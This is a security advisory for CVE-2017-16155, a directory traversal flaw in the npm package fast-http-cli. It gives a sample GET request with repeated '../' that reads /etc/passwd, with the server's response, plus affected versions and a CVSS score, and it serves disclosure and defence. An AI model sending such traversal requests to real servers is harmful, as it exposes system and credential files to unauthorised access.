CVE-2017-16155
UNKNOWN
Published 2018-06-07T02:00:00Z
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Description
fast-http-cli is the command line interface for fast-http, a simple web server. fast-http-cli is vulnerable to a directory traversal issue, giving an attacker access to the filesystem by placing "../" in the url.
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Advisory Details
`fast-http-cli` is the command line interface for `fast-http`, a simple web server.
`fast-http-cli` is vulnerable to a directory traversal issue, giving an attacker access to the filesystem by placing "../" in the url.
**Example request:**
```http
GET /../../../../../../../../../../etc/passwd HTTP/1.1
host: localhost
```
and server Response:
```http
HTTP/1.1 200 OK
Date: Thu, 04 May 2017 23:59:18 GMT
Connection: keep-alive
Transfer-Encoding: chunked
{contents of /etc/passwd}
```
## Recommendation
No patch is available for this vulnerability.
It is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.
Affected Packages
npm
fast-http-cli
ECOSYSTEM:
≥0
≤0.0.8
CVSS Scoring
CVSS Score
7.5
CVSS Vector
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
References
Advisory provided by GitHub Security Advisory Database. Published: July 23, 2018, Modified: September 11, 2023
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Published: 2018-06-07T02:00:00Z
Last Modified: 2024-09-17T00:35:58.830Z
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